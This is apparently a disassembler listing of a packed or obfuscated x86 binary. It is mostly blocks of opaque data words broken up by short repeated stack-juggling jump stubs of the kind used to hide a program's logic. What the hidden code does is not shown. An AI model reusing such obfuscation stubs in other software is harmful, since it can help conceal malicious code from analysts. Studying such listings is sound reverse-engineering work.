		dd 60h,	0BC452AD8h, 0AAF412Ch, 7C1FDB42h, 0B4ED4C84h, 0C4A83F4Eh
		dd 2D714523h, 697F8415h, 0BC55F5AFh, 770E28h, 0E58ADF55h
		dd 4D218CDCh, 0B36120A8h, 8483896Fh, 487C996Ch,	0FF000000h
		dd 2CBC452Ah, 3EC4B341h, 8116B75Ah, 3EB6D6BDh, 0F16ABE78h
		dd 3770E74h, 9C4B4A6Bh,	0B6C81C20h, 0CFB4D8E1h,	6A0492Ah
		dd 906C9567h, 0CAAF3EF8h, 4622A721h, 0EF0E866h,	0AAFE2277h
		dd 6D51B6CEh, 1B199h, 2AC20000h, 402DBF44h, 0AFDEC2ADh
		dd 600ADBD3h, 0B488F395h, 0A3482E60h, 0F9F7822Dh, 0FC5F69C1h
		dd 0EDD7511h, 0F4F99D70h, 137BF194h, 82C6E78Eh,	51424314h
		dd 109ECB23h, 991EF194h, 0FC9649CFh, 47564D4Bh,	900B2399h
		dd 0B1710B36h, 7E11297Dh, 0D8AD6B79h, 63D5B738h, 0B364EC7h
		dd 5827B271h, 0C1E689DCh, 52533A87h, 67AB693Ah,	21A7482Fh
		dd 0FEFF9677h, 982B3102h, 62249369h, 57000001h,	4B6785F0h
		dd 0DA73D791h, 26770EF0h, 0F71535B3h, 45751208h, 846BF696h
		dd 0F5986D63h, 45D7B6F0h, 0EEA8C0BCh, 1577781Fh, 0C90E87A3h
		dd 0E772710Bh, 26C99C18h, 7404E981h, 0F04C1973h, 0C5090B98h
		dd 0B233C7A6h, 5C318FDAh, 935034B9h, 936A2A89h,	6746h
		dd 0AE7A3400h, 710BCC35h, 0E589DC8Bh, 0F0EF64C0h, 0E0486686h
		dd 770EF097h, 870028E2h, 0F5770EF0h, 3CAB8A66h,	0E40DE382h
		dd 7D1632E4h, 0C3770EF0h, 39DA8914h, 8C5434B0h,	770EF113h
		dd 36A6EACAh, 5812AC4Ch, 89C3E8B5h, 0FF4860DCh,	7D770EF0h
		dd 0F074ED3Dh, 9BAF770Eh, 770EF102h, 3DA8EB7Eh,	0A6DF3256h
		dd 66000000h, 0FAB485F0h, 0EF0B52Eh, 4C5C0B77h,	770EF0D3h
		dd 7A129765h, 0DAA1346Fh, 14C28C9Ch, 2DB87512h,	0BE3FD6BBh
		dd 0F6996C2Ah, 7F167BF1h, 86CBEDB4h, 9A61763Eh,	0D08A44F2h
		dd 0B0BDF78h, 9E8E5D71h, 710B0C05h, 3810EC7Bh, 710B0C28h
		dd 75F83BFh, 0DEDFB770h, 8B9FDB8Eh, 710B0C12h, 786CFB6Eh
		dd 8A6444Fh, 4CA0B20h, 8AC2896Fh, 13AF5027h, 9F159A72h
		dd 33D284CFh, 0DADE5A5Bh, 5D5B26B6h, 0C39A7225h, 10D04BF7h
		dd 394EDA94h, 0D074FF64h, 30585D3Dh, 0E729A286h, 0C097710Bh
		dd 0CBA6FF75h, 51378223h, 8E6C0122h, 55208F65h,	0FA0F1B57h
		dd 767508AEh, 41FA2029h, 8712ACC9h, 0DA9578C5h,	0B040DE11h
		dd 97766A0Fh, 39CCEA71h, 0B5D9575Ch, 0BF504D20h, 153DAF3Ah
		dd 63AEE566h, 102A7EB2h, 843E787Dh, 3E652BA4h, 6ECA913Bh
		dd 0DFE0B71Ah, 0AB4C208Dh, 5F00BA21h, 9F267647h, 566AC60Dh
		dd 0A54802h, 4216F94Ch,	0E325CEA3h, 3B3EEF6Ah, 0D4B403D6h
		dd 0D39h, 47014400h, 0EF06AE3h,	0A503D677h, 472AEAE9h
		dd 0B45B26A6h, 26F45933h, 9266CB9Dh, 1967B6Dh, 6C0D90F8h
		dd 0D4B80547h, 42D4B9D3h, 0B1422FB9h, 680B4008h, 3209h
		dd 57240C89h, 0C781E789h, 4, 4EF81h, 3C870000h,	2C895C24h
		dd 61086824h, 14890000h, 47D56824h, 4890000h, 44EF6824h
		dd 0D5873D2h, 184411B8h, 502E0C1h, 7C5C78DCh, 5471C905h
		dd 58C5899Ah, 4EC81h, 24890000h, 24048124h, 4, 0EE89565Ah
		dd 8B087289h, 0C4812434h, 4, 5A2434FFh,	8B04C483h
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5439D9
; ---------------------------------------------------------------------------
		dw 0E17h
		dd 0A4763B8h, 0FFC50306h, 842BECE0h, 7146926h, 2B12C60Fh
		dd 10E86Ah, 85830000h, 7FFDDD16h, 4016FE56h, 36EA7E20h
		dd 0B70FB487h, 0B6B05FDAh, 61D1C781h, 81660000h, 0B92BF1E6h
		dd 7B876CA1h, 5449E981h, 178B7B87h, 48A9EA81h, 80604505h
		dd 0CE8B23F2h, 53C28161h, 6668E4C7h, 0B431D381h, 8FDDF281h
		dd 8B570266h, 17895BD8h, 0A996AABBh, 1EF8347h, 4F4F4FF5h
		dd 0E983FC8Ah, 0C3850F01h, 60FFFFFFh, 5231E580h, 0A873B5BBh
		dd 8D615F64h, 0A495F8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 6D5272C4h, 89F537B6h
		dd 331D18Dh, 71BD8906h,	0C7060311h, 301E185h, 717C06h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 8BF54CF0h, 0BD85C7F7h, 60321h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0D66BC353h, 8EB8166h, 0E9B5FF12h,	6A060313h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 9052C350h, 4B14C88Dh, 15A2C39Bh, 0EE8F28Bh
		dd 75000000h, 5326395Eh, 738BA490h, 0DF939CD3h,	5FD38BC9h
		dd 269195FFh, 95310603h, 6032FE1h, 95FF006Ah, 6031FB9h
		dd 1EEBC08Bh, 68093D90h, 56D0046Dh, 0FF0E3259h,	7FF2A20Eh
		dd 0B9FF475h, 348A31DFh, 0EAF04370h, 4EB5D28h, 294CA10Dh
		dd 5C1E9h, 0D3D4A700h, 0A64B28BDh, 30B95F22h, 8025C95Ch
		dd 139879CCh, 1248F77Dh, 8D10747Dh, 3184C8EDh, 0A70A5E63h
		dd 18B92FD0h, 0A8118A9Eh, 0DD6F7104h, 0A2432A1Eh, 96B26C2Ah
		dd 770EF0FDh, 1EF19443h, 0A94E2399h, 16F94C00h,	6C63055Bh
		dd 0F9A5AD7h, 981DF05Dh, 416A0FDEh, 1E880129h, 61F4770Eh
		dd 5035E38Bh, 34513BBCh, 0A348D5B8h, 0FCB66029h, 0E1EB32Ch
		dd 24420977h, 0E1E8B04h, 8E6AF177h, 492C66AAh, 0BF5D20A4h
		dd 31C3563Ah, 9D7DC088h, 3BBD5E18h, 913E2662h, 38A3CBA1h
		dd 0FC9ED004h, 462791F7h, 0E5B0DB2h, 0B738DFB2h, 648F0DD5h
		dd 9B99770Eh, 0C65B6177h, 9714996Ch, 0A7000000h, 0B55A432Ah
		dd 36BB590Ch, 24A43356h, 0EF0811Ch, 0DEDFB377h,	0A54E238Eh
		dd 4C23A623h, 0B26221ABh, 93812C6Eh, 5253694Fh,	10C996Dh
		dd 0AF000000h, 6AE34701h, 0D6770EF0h, 33C0A503h, 0E87A35Dh
		dd 72770EF1h, 0F02CA5E7h, 3CDC770Eh, 66CD98BBh,	0F1FA9B66h
		dd 5D620A97h, 0FB04025h, 0A650D9B1h, 0CA5E36C7h, 770EF051h
		dd 15AD38AFh, 0EF09C35h, 0FF75E077h, 3EDF97BBh,	0E743FDB5h
		dd 770EF06Eh, 0C5A907D2h, 0DFE48A5Bh, 67DDE688h, 2C4A6B02h
		dd 0BB31B659h, 452AACD7h, 0E04802BCh, 770EF067h, 0AB4306D5h
		dd 0A907420Ah, 1A9F7CC1h, 0E8A2BB5Ch, 0DED54EDAh, 0BC2B770Eh
		dd 0D129821Bh, 502CBB40h, 3EC35538h, 8A2BC3AEh,	78AC90C2h
		dd 5B8FB5DEh, 7456E03h,	0B2DADBB2h, 28A0492Fh, 8197BB79h
		dd 996C7B8Bh, 3CC15538h, 775A40h, 2AE50000h, 6A2CBC45h
		dd 9AF2F39Bh, 7A1C71CFh, 92AE1771h, 5E63344Eh, 0D1D2A70Ah
		dd 0B82DBF44h, 0D3BE43D5h, 0BF40D4B9h, 2BBA7C2Dh, 0F1C5A344h
		dd 4BC1CBADh, 55BE996Dh, 0FC000000h, 3EEF575Bh,	1BF966AEh
		dd 493F696h, 452A2BA8h,	0B3412CBCh, 50E65E0Eh, 171CDBBDh
		dd 0E9FF70C9h, 481D4FDAh, 0E984C8ECh, 1D4F7004h, 8EDEE3B0h
		dd 9DF04CDBh, 40690FFCh, 92F65D08h, 0A0492AE1h,	0F0820028h
		dd 9084770Eh, 5250544Ch, 10F996Dh, 0A8000000h, 0AD75442Ah
		dd 0EF51FC6Eh, 0CB069FABh, 0EF7A770Eh, 68FDB500h, 22FCA984h
		dd 42091985h, 660895F7h, 0F35E0B5Dh, 0C2A31575h, 592C8831h
		dd 2C5731B6h, 0E48ACC10h, 93FE89DFh, 0C3CD5D15h, 397511FDh
		dd 0E97C3A52h, 7A133709h, 0C6710BDDh, 79C48413h, 29871297h
		dd 720CB144h, 0DDF790B8h, 9645710Bh, 1F951EF3h,	0EE0FE64Bh
		dd 0DDBB56FEh, 0DA5C710Bh, 0AD8A690Bh, 0B1011636h, 0EC8EDDA8h
		dd 15569C7h, 0BF4CB162h, 3E72B525h, 0A7482F42h,	34B95C21h
		dd 8126C954h, 497204E9h, 6E089BF3h, 79F7F89Fh, 0B6591145h
		dd 0C98328C9h, 0CD46E29Ch, 33710BC7h, 0D8BD9A4h, 466D7D4Ah
		dd 35C75DF4h, 784B218Ch, 936A3464h, 16A63h, 0D3865900h
		dd 68E149C9h, 0D4710BBDh, 0E31A7001h, 0F0B83BB1h, 0F0F99F85h
		dd 0D4B84D65h, 502CB9D3h, 9143216h, 0F7627512h,	0B8650895h
		dd 64AD1DAh, 3EE0C798h,	0CF9922F3h, 2114C59Ah, 4267085Fh
		dd 8CE15F0Ah, 3984C4E9h, 94375156h, 0A13A01D2h,	9DCFF485h
		dd 6FB9B7C8h, 4E92A602h, 0BB8F6134h, 710BD122h,	687CCB9Eh
		dd 6A32C1DBh, 4BBE93h, 0F0390000h, 0E0486686h, 770EF097h
		dd 4A6B03E2h, 0C8E94702h, 2DEB5CD7h, 0B90406A3h, 0FB8E072Fh
		dd 1751770Dh, 75C67C44h, 9D1BA0B0h, 9DE77599h, 0E0E811E7h
		dd 0E47DCDE5h, 58770E55h, 0A088268Dh, 770E5557h, 9F7216C5h
		dd 0AFh, 385E0126h, 65EA999Dh, 8EAAFC9Dh, 91175ACBh, 0C3E1AC1Bh
		dd 30B983A7h, 2DC07511h, 0A623A54Ah, 0F384EBCAh, 30189ECEh
		dd 710B2F97h, 1CEB76E5h, 0E90EE14Ch, 719A3DFBh,	3E2CD2C9h
		dd 0F99CF14Fh, 0CB8A0327h, 63F6710Bh, 3C2CF494h, 0BE710BCCh
		dd 29B4D4DDh, 36B75E4Bh, 954921ABh, 3187F141h, 0BD3BBC5Ch
		dd 7A1D5579h, 2D581775h, 3E57F38Fh, 0E56F0583h,	0FDE69432h
		dd 1894E233h, 573A5239h, 8E2FC7C0h, 0AC3C8BDEh,	5BD90D27h
		dd 54F4B230h, 74FF0F3Bh, 0E29CDA81h, 3456E03h, 20CD4646h
		dd 0F454710Bh, 710B205Bh, 4C1B3AA1h, 0F0E79CF0h, 0FF4B6785h
		dd 7508A7E6h, 1FA0775Ah, 0EC3CF6B0h, 7104A773h,	0C46402C9h
		dd 7104A74Bh, 3E4E2AB1h, 553BBC53h, 0CF5B2DC0h,	7104A756h
		dd 0FCEC15E6h, 5423B6E9h, 21DEC34h, 0C57B5643h,	1038F291h
		dd 4DC24977h, 9C7316C5h, 9814711Bh, 0CF9D22F5h,	7A12937Ah
		dd 0EEFEFF97h, 14B6C03h, 0B6D6DBBCh, 0CCA6472Bh, 9912ACF0h
		dd 583F779Bh, 3DDDCEAFh, 2462DB8h, 0B5D7D8BFh, 0D58h, 4701DB00h
		dd 0EF06AE3h, 0A503D677h, 472AEAE9h, 0B45B26A6h, 26F45933h
		dd 9266CB9Dh, 1967B6Dh,	6C0D90F8h, 0D4B80547h, 42D4B9D3h
		dd 0B1422FB9h, 500B4008h, 0B951E089h, 30476265h, 3AA3E981h
		dd 0D1F73572h, 3AE98141h, 1052AD8h, 0E88359C8h,	24048704h
		dd 0E789575Ch, 4C781h, 0EF810000h, 4, 5C243C87h, 68240C89h
		dd 3C50h, 83243489h, 148904ECh,	14D6BA24h, 0E2810515h
		dd 7F711Eh, 814ADAF7h, 0E0A664F2h, 5AD189F9h, 24348B54h
		dd 4C481h, 0EC810000h, 4, 89240489h, 84689C8h, 24348B58h
		dd 81E18951h, 4C1h, 4C18300h, 5C240C87h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5439D9
; ---------------------------------------------------------------------------
		dd 0ABB87AA1h, 3060A4Eh, 0EBE0FFC5h, 172AC4F8h,	5C3EC60Dh
		dd 2C155E42h, 912AD3E1h, 567293ACh, 0E816D61Ah,	0E3455693h
		dd 0AA7EFC12h, 0C227CEA8h, 2979CB35h, 545A0316h, 1D4CA840h
		dd 797DA2A8h, 0BC088E09h, 52266B8h, 58376AE8h, 3339E770h
		dd 1124CB72h, 0E17DEAE3h, 40332B2Dh, 450EB37Ch,	0EC38C4BCh
		dd 8207D004h, 0E42179FFh, 943E939Bh, 0C122ECF1h, 381FB4B4h
		dd 60203AE4h, 21239F81h, 4E505A78h, 0EB6E1CB2h,	10h, 3 dup(0)
		dd 6AC08B00h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0FD08C351h, 20BCFE3Ch,	83705EDAh
		dd 31039BDh, 9750006h, 111DBD83h, 74000603h, 8B535019h
		dd 42DB8C0h, 85890000h,	6031775h, 0B0919D8Dh, 0D3FF0605h
		dd 0BD83585Bh, 603111Dh, 50177400h, 42DB853h, 85890000h
		dd 6031775h, 0AD809D8Dh, 0D3FF0605h, 6A585Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 2DE9B3C3h
		dd 0F8572762h, 15BD895Ah, 8B06030Bh, 53006AC0h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 12E538ECh
		dd 0B533AA2Eh, 603194Dh, 13D18D8Bh, 0F9830603h,	0AF840F00h
		dd 81000000h, 6166CEC2h, 0FE83Eh, 577B0000h, 7898F354h
		dd 9539518h, 1A097F96h,	0FD8D8937h, 5A06032Dh, 2C3D8B64h
		dd 60000000h, 0A59589F9h, 6106030Fh, 13E8h, 70E30E00h
		dd 0F5151D18h, 4B2F21E3h, 8137E2B4h, 0B194851h,	25E5B58Bh
		dd 0B5A0603h, 57840FFFh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0DC52C356h
		dd 0EE81DA0Bh, 0B64212Bh, 6A3F8Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 6D5AEEC3h, 0C032B9EEh
		dd 9FD9D89h, 0AAF30603h, 0D58FF681h, 4935058Eh,	80535041h
		dd 85C661E6h, 6032F39h,	9E947h,	62720000h, 0D6206886h
		dd 687811B8h, 0B80AC196h, 0BA243481h, 6664DC49h, 0B529D78Bh
		dd 60310D5h, 28C9B5FFh,	6A0603h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 78A1C0C3h, 0B5B589DBh
		dd 89060331h, 33035BDh,	0BC858D06h, 0FF060673h,	319501D0h
		dd 89060302h, 3093185h,	1880F06h, 0FC000000h, 2F3985C6h
		dd 6A530603h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 1BBAC351h, 0B5073B02h,	68C68166h
		dd 693F68E7h, 0CE83AA0h, 0BC000000h, 0D788C7FBh, 20C42209h
		dd 56D211D2h, 5A5A46B2h, 0BD240481h, 6A4DF801h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 2915C350h, 320C595h,	9B52306h, 0FF060309h, 328C9B5h
		dd 81958906h, 8D060302h, 673BC85h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 895AC06Eh
		dd 31DA195h, 0CE906h, 0E9970000h, 0BA460DD9h, 21DBA970h
		dd 0D0FFF637h, 10B1958Bh, 858D0603h, 6063BF7h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F2C35747h, 88522FF2h
		dd 0F1BF0F78h, 0F858589h, 0E9520603h, 0Ah, 421BFA4Bh, 4B9EDEA2h
		dd 0F5E3C55h, 583h, 0CE816600h,	206A946Ch, 95FFFF6Ah, 6030F85h
		dd 50414935h, 8585C753h, 106032Eh, 0C7000000h, 3233D85h
		dd 6, 77DA8100h, 6A315B78h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 9F78C352h, 67473E6Fh
		dd 9BAAD27Bh, 28198D09h, 0D08A0603h, 2CDDBD83h,	0F000603h
		dd 6384h, 22E28100h, 8B37671Ah,	312E585h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 0FA69F80Dh, 57440961h, 0A364h, 0F28B0000h, 1CE5958Bh
		dd 858B0603h, 6031F3Dh,	13E9h, 76FCDB00h, 304CD9h, 0DDA731D2h
		dd 6EC1F284h, 92FF0277h, 0BD89E08Bh, 6030FD9h, 2C7DBD83h
		dd 0F000603h, 40B85h, 8BD18B00h, 3985C6F2h, 5606032Fh
		dd 9FCA8166h, 11952328h, 0E8060313h, 4,	0A9C530DFh, 7E8h
		dd 53F94B00h, 712D7EEDh, 61D98A60h, 5250505Ah, 310F28B2h
		dd 0CE10BA66h, 448B585Ah, 0D78B0424h, 800F008Bh, 3, 89F78B66h
		dd 0B2042444h, 6A58B9h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 7A110AC3h, 6CC78F8Ah, 0A144BE3Ah
		dd 0B5FF396Dh, 60328C9h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 16h, 36C35040h, 31575F3Dh,	306218Dh, 0BA665E06h
		dd 858D1B37h, 60673BCh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0C9C35646h, 0FF120C2Ch, 57006AD0h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 7121CDD0h, 0B5235DBCh, 6030941h, 8E850h, 0E360000h
		dd 7DF4033Bh, 8B6694BEh, 4895EF3h, 498D8D24h, 6A06031Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 596AC355h, 11E95Eh, 0FD420000h, 0ECCC53Eh
		dd 2B0C1371h, 0D60993A6h, 91A30067h, 9B92BE66h,	11E950h
		dd 0F8DF0000h, 0B794E22Bh, 0B7788DC0h, 7FAB7544h, 91475734h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 71C35242h
		dd 0AAF980B4h, 398501F0h, 6A060301h, 68F38B04h,	0B8C71037h
		dd 481F28Bh, 38FFC924h,	6D858947h, 0FF060330h, 30121B5h
		dd 0DB53106h, 0FF060309h, 858D01D0h, 8B06030Ch,	30121BDh
		dd 0DBBE6606h, 3C7F032Ch, 12860Fh, 0DE90000h, 0C2000000h
		dd 19C368EFh, 6F3602CCh, 0E4F7692Fh, 0F8C781h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0AF8FE2C3h, 0B16C3446h, 47C7006Ah, 2024h, 52006A60h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 2756662Dh, 0BD8340FBh, 60A4FD5h, 40840F00h, 6A000001h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 8320C357h, 0BAE34B8h, 2960C05Ch, 31249BDh
		dd 0C7836106h, 0AD8EBE28h, 7C768DAh, 64696A2Eh,	2EB1950Bh
		dd 47C70603h, 61746104h, 51958B00h, 8B06030Ch, 0A4FDD85h
		dd 95958906h, 89060306h, 8BF90C47h, 0A4FE185h, 21953306h
		dd 89060310h, 6A0847h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0A213FFC3h, 28C78385h, 2D43DE81h
		dd 7C75CD6h, 6E6F632Eh,	3289BD29h, 47C70603h, 67696604h
		dd 6E800h, 44090000h, 0B9DED757h, 38B0Fh, 8B660000h, 858B5AD1h
		dd 60A4FD9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0FAC35141h, 89349469h, 6A0C47h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 999A8AC3h
		dd 1AAF7307h, 8919D9DDh, 312E985h, 0D5858B06h, 6A060A4Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 890FC355h, 3232D9Dh, 4789F506h, 89B50B08h
		dd 5806031Ch, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 15h,	55C35040h, 0D6816626h, 8D8DB444h, 6030471h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 1AC35545h, 85B58BC1h
		dd 9106030Bh, 0BE50D38Ah, 431E6A79h, 830F91h, 0FF000000h
		dd 31F49B5h, 0D3B70F06h, 0BBB468h, 1D31BAA8h, 4810888h
		dd 0FF544C24h, 21B5FF57h, 8B060301h, 3094995h, 89D0FF06h
		dd 31E3D85h, 0D0BF0F06h, 0B8h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 42570952h
		dd 21958906h, 5006031Ah, 0B5EF78Bh, 33840FC0h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0D7A2C356h, 1341B5FFh, 21BE0603h,	0FF6298EEh
		dd 3269195h, 0CA816606h, 0C08BD39Fh, 1039BD83h,	75000603h
		dd 1DBD8309h, 60311h, 53501974h, 2DB8C08Bh, 89000004h
		dd 3239185h, 0F89D8D06h, 0FF0605B0h, 83585BD3h,	3111DBDh
		dd 17740006h, 2DB85350h, 89000004h, 3239185h, 999D8D06h
		dd 0FF0605ADh, 0F585BD3h, 0B8Fh, 0F2816000h, 299FF383h
		dd 61F2EB80h, 0AD9FE681h, 8B666C5Ah, 0C34FBAD6h, 0C08B6186h
		dd 22E9B501h, 0C08B0603h, 5C0A04EBh, 0C3E92A1Bh, 95000005h
		dd 1EE3E106h, 8D10747Dh, 3F82C6EBh, 0AF325657h,	0C1A321CAh
		dd 0AAF4016h, 9E1FF346h, 6C9567CAh, 0FD029578h,	78D0D6EFh
		dd 710498DFh, 4A0DAB5Dh, 9BEC4B87h, 0D95AD614h,	4A2432Ah
		dd 7F698E61h, 38FE8E6Ah, 4523C855h, 26AA4F20h, 513BBC53h
		dd 0C48429CCh, 5B179C79h, 0C3FD62B8h, 0F89EB6C5h, 61CC99F3h
		dd 7A1EE38Bh, 0E68E1375h, 180487C1h, 0D234AF4h,	35DBAAD9h
		dd 3389DC8Ch, 12FCB75Eh, 0E8E17366h, 0AF697FCAh, 5CBC55F5h
		dd 5500770Eh, 0C3E88ADFh, 440F4A7h, 0B47733A1h,	33C15438h
		dd 9F73DE8Eh, 2F054E1Eh, 28D1A3FBh, 0DB74D48Eh,	46770E7Eh
		dd 0E7E69E2h, 100D777h,	278ADE5Ah, 39C25750h, 74123A52h
		dd 0B6770E7Eh, 0CACD27F8h, 0D55BEBDCh, 0E2FDC75h, 2EB52077h
		dd 54D0D9BBh, 20243C60h, 83996C91h, 23E861C9h, 1733770Eh
		dd 770E237Eh, 0A93C17C2h, 3DAF543Ah, 68CECCA8h,	69000000h
		dd 2AA2432Ah, 0EF08702h, 43978577h, 6D524F55h, 10899h
		dd 1AB0000h, 8864896Ch,	0F99318E5h, 6A628714h, 8213F2ACh
		dd 527A6F79h, 770EF0B9h, 0B1D45007h, 9B0D8DDh, 0C1E98E51h
		dd 0DFC7D24Ah, 0AFF0FE5Bh, 0DE5AFB11h, 4D7B6DAh, 12B55E3Ch
		dd 8AD4D48h, 0AC2505BDh, 10770E3Dh, 0F99AEF45h,	66099CF0h
		dd 1500341h, 0F06AE347h, 99B1770Eh, 770EF100h, 23B6E97Ch
		dd 0A22ACFACh, 53244927h, 0F034AD7Dh, 0DD88770Eh, 0EA8B1676h
		dd 620487C1h, 9ECEEF83h, 0CDF684CBh, 4E72CE9Bh,	0AAF401Ah
		dd 9B1CF346h, 998A6CF1h, 6365F0F5h, 97F1F69Eh, 0D0A7640Ah
		dd 5D28BD2Fh, 2B7FB30Bh, 92798213h, 2F095DC3h, 996D4C25h
		dd 60C2h, 452A7D00h, 0A00FB044h, 0EB34528h, 3559D75Eh
		dd 5B179C7Dh, 65C3E88Ah, 2EDBBC01h, 0B1DBA647h,	25A7482Ch
		dd 0F994B864h, 0F072EB3Fh, 81A9770Eh, 770EF108h, 3BAEE174h
		dd 4C7E76BDh, 4379996Dh, 0FA000000h, 2CBC452Ah,	700EB341h
		dd 0F0F992B6h, 9047770Eh, 19971CFDh, 1145F971h,	5D33B859h
		dd 0A0492A26h, 6C956706h, 0B250F890h, 74770EF0h, 80849CC0h
		dd 23996D52h, 79231870h, 0A90714A4h, 1B3h, 442ACC00h, 0F043DC6Ch
		dd 0D2B9770Eh, 0D9712B47h, 770EF040h, 3B5329BCh, 0AE3EBF56h
		dd 83DB0F25h, 565B3CEDh, 80C45336h, 7DCD9CE7h, 770EF0E4h
		dd 37DE8D58h, 24B3D6B6h, 0FF94BE8Ah, 5F0A7511h,	48C16923h
		dd 0B4710BDFh, 5E234B21h, 0CF5236B7h, 3DC58728h, 710BDFA2h
		dd 5434BD52h, 0CA8227C9h, 966C9567h, 0A0D87AAEh, 0B84D386Ch
		dd 3459D7D8h, 0A5085C61h, 0D6BB2DD2h, 7D2EBE3Fh, 1DF093C7h
		dd 94F9777Ch, 5BE8FC01h, 936A4141h, 1A33Eh, 85F0B900h
		dd 0E1FF4B67h, 38751208h, 47B63467h, 85D0FB0h, 4F033E77h
		dd 527A9F7Bh, 12EE7565h, 7B0AA433h, 6D781099h, 836AF797h
		dd 92F0F1A8h, 0AA978E3Ah, 34D73BC8h, 4E02E974h,	0F99314FBh
		dd 6C7C8114h, 886EFFBFh, 807C6963h, 3FD668BCh, 0C144DD6Dh
		dd 0D5B8710Bh, 44D3BE43h, 22D9E300h, 3BCA936Ah,	0A93CAC55h
		dd 5FC9D3h, 0F5AF0000h,	0BCDBC55h, 4550071h, 14B9BB28h
		dd 0BA39B762h, 486686F0h, 0F021BA8Eh, 42D3770Eh, 75F366B9h
		dd 0F0A6EF3Bh, 0CF9A770Eh, 0F0DC759Dh, 0B383770Eh, 65830D6Fh
		dd 1EB7934Dh, 62770EF1h, 0F66FBBF7h, 4A770EF0h,	0AD67219Fh
		dd 0AA4835D8h, 0EE3EBA01h, 770EF0A5h, 4598CC9Bh, 0D8h
		dd 8F6C01F8h, 8967626Ah, 1D55533Eh, 1214430Dh, 3A523975h
		dd 35C7C057h, 0B702A774h, 0D1BB3CD0h, 0D6BB29B4h, 62EBE3Fh
		dd 710BCC16h, 31499D51h, 28CDA15Eh, 0A5E25A0h, 0DA94127Dh
		dd 49C26620h, 0B7710BCBh, 29A28620h, 97710BCBh,	1D4464C0h
		dd 836F0594h, 0BE5F482Ch, 533EAE35h, 355038C1h,	2489C3AEh
		dd 22C75451h, 38503FAAh, 0A923C855h, 0D9B334C4h, 0C7779B9Bh
		dd 0AE7A3466h, 77057335h, 86A2DC8Bh, 7705740Dh,	3408E473h
		dd 7FCB85E0h, 770573E6h, 277E7F16h, 8B34B0h, 7D4E2C28h
		dd 4AD1FBFEh, 7E6F6B2Ch, 8ED3D4A4h, 38B4BCFDh, 5421C47Eh
		dd 0CCA83DAFh, 0FF78B5FCh, 0C2FC6B74h, 0D8A72008h, 0D672710Bh
		dd 710BD83Dh, 6EFDD483h, 7A12937Bh, 86FD916Fh, 4B6785F0h
		dd 4CE7D2BAh, 0D34BDD2Fh, 0DD9B11FCh, 811264Dh,	65379A75h
		dd 13A8B696h, 563D4C9Eh, 84C45336h, 19515639h, 3A52CB5Fh
		dd 3BAE7104h, 0B14429BDh, 0B2B45C0Ch, 0C454F539h, 72DF8932h
		dd 0E40DE29Bh, 28044F19h, 1D135AE4h, 0D9DEB1C9h, 0AE4F268Bh
		dd 595783Eh, 8D6104E0h,	0F99D6068h, 3C8A0327h, 63F64CF3h
		dd 8C69F494h, 7EA66567h, 5B03E82Ah, 3D1089A1h, 0F96C4CF3h
		dd 53EB3F03h, 0C0553BBCh, 1FEE882Dh, 92FA7677h,	37Fh, 80038600h
		dd 26A6472Ah, 5933B45Bh, 0CB9D26F4h, 7B6D9266h,	90F80196h
		dd 5476C0Dh, 0B9D3D4B8h, 2FB942D4h, 4008B142h, 4F14680Bh
		dd 1C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
